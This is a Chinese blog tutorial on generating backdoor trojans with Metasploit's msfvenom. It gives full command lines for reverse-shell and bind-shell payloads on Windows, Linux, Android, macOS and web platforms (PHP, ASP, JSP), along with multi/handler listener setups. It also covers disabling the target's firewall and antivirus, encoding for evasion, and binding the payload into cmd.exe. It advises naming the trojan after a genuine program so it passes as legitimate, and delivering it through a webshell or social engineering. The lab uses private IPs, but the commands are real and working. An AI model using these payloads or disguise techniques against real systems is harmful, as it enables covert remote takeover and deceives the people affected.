msf-Msfvenonm生成后门木马

article/2025/9/24 9:27:42

文章目录

    • 一、工具:
    • 二、实验环境:
    • 三、环境准备:
      • 1. windows:
      • 2. linux:
    • 四、`msfvenom`简介:
    • 五、两种方式:
    • 六、使用场景:
    • 七、各平台生成木马的方法:
    • 八、生成反向反弹木马:
      • 1. windows平台:
        • 1.1 生成反弹木马:
        • 1.2 捆绑一个程序伪装木马:
      • 2. linux平台:
    • 九、生成正向连接木马:
      • 1. windows平台:
      • 2. lunux平台:

一、工具:

Metasploit Framework(MSF)漏洞利用框架

二、实验环境:

靶   机: windows10虚拟机:192.168.100.150
        CentOS6.5虚拟机:192.168.100.163

攻 击 机: kali虚拟机:192.168.100.132

三、环境准备:

  在进行实验前,需要关闭靶机的防火墙;关闭防火墙的目的是让靶机放行进站入站的流量。

1. windows:

1、关闭安全中心实时保护:


2、关闭防火墙:


2. linux:

命令:

service iptables stop
setenforce 0

四、msfvenom简介:

  msfvenommsfpayload,msfencode的结合体,可利用msfvenom生成木马程序,并在目标机上执行,配合meterpreter在本地监听上线。

kali中使用msfvenom -h查看所有参数:

┌──(root💀kali)-[~/桌面]
└─# msfvenom -h
MsfVenom - Metasploit 独立负载生成器。
也是 msfpayload 和 msfencode 的替代品。
用法:/usr/bin/msfvenom [options] <var=val>
示例:/usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe选项:
-l, --list           <type>       列出 [type] 的所有模块。类型有:payloads、encoders、nops、platforms、archs、encrypt、formats、all
-p, --payload        <payload>    要使用的有效负载(--list 要列出的有效负载,--list-options 用于参数)。为自定义指定“-”或 STDIN--list-options                列出 --payload <value> 的标准、高级和规避选项
-f, --format         <format>     输出格式(使用 --list 格式列出)
-e, --encoder        <encoder>    要使用的编码器(使用 --list 编码器列出)--service-name   <value>      生成服务二进制文件时使用的服务名称--sec-name       <value>      生成大型 Windows 二进制文件时使用的新部分名称。默认值:随机 4 个字符的字母字符串--smallest                    使用所有可用的编码器生成尽可能小的有效载荷--encrypt        <value>      应用于 shellcode 的加密或编码类型(使用 --list encrypt 列出)--encrypt-key    <value>      用于 --encrypt 的密钥--encrypt-iv     <value>      --encrypt 的初始化向量
-a, --arch           <arch>       用于 --payload 和 --encoders 的架构(使用 --list archs 列出)--platform       <platform>   --payload 的平台(使用 --list 平台列出)
-o, --out            <path>       将有效负载保存到文件
-b, --bad-chars      <list>       避免使用的字符示例:'\x00\xff'
-n, --nopsled        <length>[length] 大小的 nopsled 添加到有效负载上--pad-nops                    使用 -n <length> 指定的 nopsled 大小作为总负载大小,自动预先添加数量的 nopsled(nops 减去负载长度)
-s, --space          <length>     结果有效载荷的最大大小--encoder-space  <length>     编码负载的最大大小(默认为 -s 值)
-i, --iterations     <count>      设置有效载荷的编码次数
-c, --add-code       <path>       指定要包含的附加 win32 shellcode 文件
-x, --template       <path>       指定用作模板的自定义可执行文件
-k, --keep                        保留 --template 行为并将有效负载作为新线程注入
-v, --var-name       <value>      指定用于某些输出格式的自定义变量名称
-t, --timeout        <second>STDIN 读取有效负载时等待的秒数(默认为 300 表示禁用)
-h, --help                        显示此消息 

msfvenom经常使用一些参数:

p (--payload-options):                                添加载荷payload。载荷这个东西比较多,这个软件就是根据对应的载荷payload生成对应平台下的后门--lhost:VPS的地址--lport:VPS监听的端口
–a:                                                    选择架构平台  x86 、x64 、 x86_64--platform:                                        选择平台,windows、Linux
–e:                                                    使用编码进行免杀,如使用 x86/shikata_ga_nai 编码
–i:                                                    编码的次数
–b:                                                    避免使用的字符 例如:不使用 '\x00\'。
PrependMigrate=true PrependMigrateProc=svchost.exe:    使这个木马默认会迁移到 svchost.exe 进程
–f :                                                   输出文件格式,如 exe、c、elf、macho、raw、asp、aspx、
–l:                                                    查看所有payload encoder nops。
–o:                                                    文件输出
–s:                                                    生成payload的最大长度,就是文件大小。
–c:                                                    添加自己的shellcode
–x | -k:                                               捆绑,可以指定捆绑的程序进行伪装;

五、两种方式:

  msf生成的payload分为正向和反向两种,正向需要正向连接,反向需要反向连接,反向是最常用的方式
  正向连接指被攻击的目标机器通过正向的payload打开一个端口,攻击者的机器去连接目标机器的这个端口,从而建立连接,如果把攻击机器比喻成你,目标机器比喻成妹子,正向连接相当于你去追追妹子,最后建立了连接,两者可以互相通信。<>
  反向指攻击者的机器打开一个端口,目标机器运行反向payload来连接攻击机器的端口,从而建立连接;用上面的比喻,反向连接相当于妹子来追你,最后建立了连接,相互通信。

六、使用场景:

  反向是比较常用的方式,在内网渗透中会使用到正向。
  如果目标机器能够出站与你的机器建立连接就可以使用正向,相当于你和妹子在一家公司上班,妹子可以主动找你,最后在一起了。
  如果⽬标处于深层⽹络,不能直接连通外⽹,也不能通过其他机器连通则可以使用正向,相当于妹子在家里宅着天天不出门,你为了追到手,只有去他家拜访一下。
  反向连接比正向连接更加稳定。

七、各平台生成木马的方法:


安卓app:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -o ~/Desktop/test2.apk  
Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f  elf > shell.elf
Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f macho >  shell.macho
PHP:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.20.27 LPORT=4444 -f raw -o test.php
ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888  -f asp > shell.asp
ASPX:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888  -f  aspx > shell.aspx
JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f  raw > shell.jsp
Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.10.27 LPORT=8888 -f   raw > shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST=192.168.10.27 LPORT=8888 -f raw > shell.pl
Python
msfvenom -p python/meterpreter/reverser_tcp LHOST=192.168.10.27 LPORT=8888 -f   raw > shell.py

八、生成反向反弹木马:

  在我们获得目标主机webshell或者通过社会工程学手段,让目标运行我们生成的木马,让目标服务器主动把shell反弹到攻击机上面。

1. windows平台:

1.1 生成反弹木马:

1、使用 exploit/multi/handler监听木马反弹过来的shell:
命令:

msfconsole                                         # 在命令行里面输入命令,进入msf漏洞利用框架;
use exploit/multi/handler                          # 监听木马反弹过来的shell
msset payload windows/meterpreter/reverse_tcp  	   # 设置payload,不同的木马设置不同的payload,设置payload时,要根据目标系统的系统位数设置相应的payload;
set lhost 192.168.100.132                          # 我们的kali本机ip
set lport 6666                                     # 我们的kali本机端口
exploit                                            # 开始进行监听;

2、使用msfvenom模块生成反弹木马:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.100.132 lport=6666 -f exe -o test.exe  #lhost是我们的主机ip,lport是我们主机的用于监听的端口


3、把生成的反弹木马放到目标主机,并点击运行:

4、成功反弹shell到目标主机:

1.2 捆绑一个程序伪装木马:

  在进行攻防演练时,蓝队通常会对运行的不明程序进行排查,如果我们在运行时,不做任何伪装,很容易被办掉。这里就需要我们把它伪装成正常程序,并且功能也和正常程序一样。这样就能很好的做到瞒天过海了。

1、使用 exploit/multi/handler监听木马反弹过来的shell:
命令:

msfconsole                                         # 在命令行里面输入命令,进入msf漏洞利用框架;
use exploit/multi/handler                          # 监听木马反弹过来的shell
msset payload windows/x64/meterpreter/reverse_tcp  # 设置payload,不同的木马设置不同的payload,设置payload时,要根据目标系统的系统位数设置相应的payload;
set lhost 192.168.100.132                          # 我们的kali本机ip
set lport 6666                                     # 我们的kali本机端口
exploit                                            # 开始进行监听;

2、使用msfvenom模块生成反弹木马,这里是捆绑的cmd.exe程序:
命令:

msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp lhost=192.168.100.132 lport=6666 -x cmd.exe -f exe -o test_win10.exe


当然,在实战中,我们生成的反弹木马可以直接使用本来的程序进行命名,这样就可以以假乱真了。
3、把生成的反弹木马放到目标主机,并点击运行,可以看出运行的窗口就是一个cmd窗口:

4、成功反弹shell到目标主机:


2. linux平台:

1、使用 exploit/multi/handler监听木马反弹过来的shell:
命令:

msfconsole                                         # 在命令行里面输入命令,进入msf漏洞利用框架;
use exploit/multi/handler                          # 监听木马反弹过来的shell
set payload linux/x86/meterpreter/reverse_tcp  	   # 设置payload,不同的木马设置不同的payload,设置payload时,要根据目标系统的系统位数设置相应的payload;
set lhost 192.168.100.132                          # 我们的kali本机ip
set lport 6666                                     # 我们的kali本机端口
exploit                                            # 开始进行监听;


2、使用msfvenom模块生成反弹木马,:
命令:

#生成32位的马
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=VPS的地址  LPORT=8888 -f elf > test.elf
#生成64位的马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=VPS的地址  LPORT=8888 -f elf > test.elf


3、把生成的反弹木马放到目标主机,但没有可执行权限:

ls -l   # 查看当前路径文件和目录的详细信息,包括文件权限等;

在这里插入图片描述

4、给木马程序赋予可执行权限,可以看到木马程序已经获得可执行权限:
命令:

chmod +x test1.elf  # 给木马程序赋予可执行权限,x为执行

在这里插入图片描述
5、执行木马程序:
在这里插入图片描述

6、成功反弹shell到目标主机:
在这里插入图片描述

九、生成正向连接木马:

1. windows平台:

1、使用msfvenom模块生成正向连接木马:

msfvenom -p windows/x64/meterpreter/bind_tcp lhost=192.168.100.132 lport=6666 -f exe -o test2.exe


2、将生成的木马放到目标服务器,并点击运行:
3、使用 exploit/multi/handler模块连接我们生成的木马,可以看到已经:

msfconsole                                         # 在命令行里面输入命令,进入msf漏洞利用框架;
use exploit/multi/handler                          # 使用这个模块连接远程木马;
set payload windows/x64/meterpreter/bind_tcp  	   # 设置正向连接payload,不同的木马设置不同的payload,设置payload时,要根据目标系统的系统位数设置相应的payload;
set rhost 192.168.100.150					       # 目标主机ip
set lport 6666                                     # 我们的kali本机端口
exploit 

2. lunux平台:

1、使用msfvenom模块生成正向连接木马:

msfvenom -p linux/x86/meterpreter/bind_tcp lhost=192.168.100.132 lport=6666 -f elf > test2.elf

2、把生成的正向连接木马放到目标主机,但没有可执行权限:
命令:

ls -l   # 查看当前路径文件和目录的详细信息,包括文件权限等;


3、给木马程序赋予可执行权限,可以看到木马程序已经获得可执行权限:
命令:

chmod +x test2.elf  # 给木马程序赋予可执行权限,x为执行

在这里插入图片描述

5、执行木马程序:

6、使用 exploit/multi/handler模块连接我们生成的木马,可以看到已经获得目标服务器的meterpreter_shell:

msfconsole                                         # 在命令行里面输入命令,进入msf漏洞利用框架;
use exploit/multi/handler                          # 使用这个模块连接远程木马;
set payload linux/x86/meterpreter/bind_tcp  	   # 设置正向连接payload,不同的木马设置不同的payload,设置payload时,要根据目标系统的系统位数设置相应的payload;
set rhost 192.168.100.163					       # 目标主机ip
set lport 6666                                     # 我们的kali本机端口
exploit 


http://chatgpt.dhexx.cn/article/GK3TGDjk.shtml

相关文章

网站有上传后门木马的漏洞怎么解决

SINE安全又带上业务逻辑漏洞来跟大家做分享了&#xff0c;这一次的主题内容是上传文件漏洞。许许多多企业网站都准许客户自己图片上传、电子版资料&#xff0c;假如上传功能并没有搞好安全防护对策&#xff0c;就存有极大的安全隐患。假如网站应用领域在上传文件流程中并没有对…

淦,服务器被人传了后门木马。。。

「作者简介」&#xff1a;CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者 「推荐专栏」&#xff1a;对网络安全感兴趣的小伙伴可以关注专栏《网络安全入门到精通》 今天很暴躁&#xff0c;因为睡眠被打扰了。 一个朋友大半夜打我电话&#xff0c;说她云服…

木马后门简单分析

木马后门分析 加密过的马一种是为了过waf&#xff0c;另一种就是隐藏有后门 案例&#xff1a;记一次免杀木马后门分析 略 实操一&#xff1a; 马已加密 1、解密 在变量前添加echo 进入马子的页面 可以看到是base64的加密&#xff0c;复制从eval开始的加密代码&#xff0…

灰鸽子--木马、后门实验

目录 实验目的 实验要求 实验原理 实验环境 实验步骤 实验目的 1.了解木马攻击的原理。 2. 掌握木马与后门工作机制 3. 掌握木马与后门的防范措施 实验要求 利用灰鸽子客户端配置服务器程序并生成服务端配置并生成服务器进行木马植入&#xff0c;通过灰鸽子客户端界面进行远…

【Web安全】木马与后门

一、认识木马与后门 后门程序一般是指那些绕过安全性控制而获取对程序或系统访问权的程序方法。在软件的开发阶段&#xff0c;程序员常常会在软件内创建后门程序以便可以修改程序设计中的缺陷。但是&#xff0c;如果这些后门被其他人知道&#xff0c;或是在发布软件之前没有删…

kindeditor上传图片宽度自适应

目前大多数情况下编辑器上传的图片都是在手机端显示&#xff0c;因此默认设置为宽度100%显示&#xff0c;避免图片显示的大大小小不好看。 目前使用的kindeditor版本为4.0.5。 打开kindeditor.js文件&#xff0c;拉到3116行insertimage方法内&#xff0c;注释掉设置宽度的3行代…

Kindeditor上传图片报错

使用Kindeditor编辑器上传图片时报如下错误&#xff0c;系统找不到LitJson名称空间 而实际上LitJson名称空间存在&#xff0c;LitJson.dll程序集存在于Bin目录中&#xff0c;网站目录如下 此时只需调整Bin目录所属位置即可 将Bin目录从EngTra文件夹移出&#xff0c;使之与EngTr…

KindEditor上传图片word

由于工作需要必须将word文档内容粘贴到编辑器中使用 但发现word中的图片粘贴后变成了file:///xxxx.jpg这种内容&#xff0c;如果上传到服务器后其他人也访问不了&#xff0c;网上找了很多编辑器发现没有一个能直接解决这个问题 考虑到自己除了工作其他时间基本上不使用window…

使用KindEditor实现图片上传、提交文字数据

KindEditor 是一套开源的 HTML 可视化编辑器&#xff0c;主要用于让用户在网站上获得所见即 所得编辑效果&#xff0c;兼容 IE、Firefox、Chrome、Safari、Opera 等主流浏览器。 KindEditor 使用 JavaScript 编写&#xff0c;可以无缝的于 Java、.NET、PHP、ASP 等程序接合。…

kindeditor 上传图片后端成功了,web显示上传失败 ,已解决

别人是什么都懂&#xff0c;然后写上代码教大家怎么做&#xff0c;而我只是一个被自己蠢哭的啥都不会的yang 今天我就来告诉大家&#xff0c;被自己蠢哭是啥意思 springboot实现图片上传&#xff0c;我以前不知道原来是有kindeditor这个html在线编辑器 大概长这样&#xff0c…

springboot中kindeditor 上传图片及其富文本的使用

话不多少&#xff0c;直接进入话题。 首先需要在前端页面中引入kindeditor 库 <script src"../js/kindeditor-all.js"></script>标注黄色的是重点&#xff0c;必须引入 其次写前端代码,注意我这个前端代码是springboot推荐的themleaf写的&#xff0c;其…

kindEditor的上传图片点击没反应,bug修复

基于layui的bug的层级问题 修改kindeditor.js中的811213全部替换为19892000 811212替换为19891999 811214替换为19892001 811211替换为19891998 基于电脑的显示问题x&#xff0c;y的坐标没有取整&#xff0c;有小数点不识别的问题 修改kindeditor.js中x&#xff0c;y的取整&am…

kindeditor 上传图片失败问题总结

1.近段时间一直在处理kindeditor上传图片失败的问题&#xff0c;前期一直以为是前端的问题&#xff0c;利用谷歌控制台&#xff0c;打断点&#xff0c;修改方法&#xff0c;一直都找不到解决方案&#xff0c;直到查看服务器配置&#xff0c;才发现&#xff1a; WEB 1号服务器 /…

KindEditor上传图片和修改图片

1.首先就是下载KindEditor&#xff08;这里是官网的地址&#xff09; 2. 部署编辑器 解压 kindeditor-x.x.x.zip 文件&#xff0c;将所有文件上传到您的网站程序目录里&#xff0c;例如&#xff1a;http://您的域名/editor/ Note 您可以根据需求删除以下目录后上传到服务器。…

kindeditor php 上传错误,kindeditor 上传图片失败,该怎么解决

本帖最后由 nxgg8 于 2014-05-29 12:44:04 编辑 编辑器版本&#xff1a;KindEditor 4.1.10 php框架&#xff1a;ThinkPHP3.2.2 这是html页面中引用编辑器配置 上传图片的时候出问题,不管是单张图片&#xff0c;还是批量。都会提示以下信息&#xff0c;返回的图片路径是正确的&a…

Kindeditor的简单使用以及图片上传

详细的笔者也不是特别懂&#xff0c;但是基本的使用还是会的 首先到官网下载相应的插件http://kindeditor.net/down.php&#xff0c;下载完的文件打开后是这样的&#xff0c;看着有点多 但是我们只取出需要的&#xff0c;只有这么一点&#xff0c;复制到项目下&#xff0c;取名…

KindEditor上传图片及使用

本文为原创&#xff0c;只为互相学习&#xff01; 主页:写程序的小王叔叔的博客欢迎来访&#x1f440; 支持:点赞收藏关注 社区:JAVA全栈进阶学习社区欢迎加入​​​​​​​ 编辑器使用 1&#xff09;官网&#xff1a;在线HTML编辑器 2&#xff09;使用 如果在编辑器中&#…

KindEditor上传本地图片

自己动手配置了一下KindEditor文本编辑器上传本地图片的功能&#xff0c;不需要动手写action&#xff0c;相关详细配置和代码如下。 我用的是KindEditor 4.1.10的版本&#xff0c;需要用到的童鞋去下载对应的版本。 1.↓↓↓这个插件里面需要手动配置的两个重要的jsp文件。 …

kindeditor4.1.10图片上传配置及使用说明

1效果展示 1.1 点击图片上传按钮 1.2 弹出选择框,可以从已上传的图片中选择上传,也可以从本地上传。 1.3选择从图片空间上传,文件夹模式浏览所有已上传的图片 1.4从本地选择图片上传 1.5上传效果 1.6 上传路径: WebRoot/upload/image 2-1:kindeditor-4.1.10版本插件 2-2:…

onpaste事件的浅谈

今天看书的时候&#xff0c;偶然看到onpaste的这个属性所以记录下来&#xff0c;为以后查阅而用&#xff1a; 具体的用法是<input type“text” οnpaste"function ***"/>&#xff0c;标签只是用来做说明并不是非得是input标签 虽然是触发的条件是&#xff1…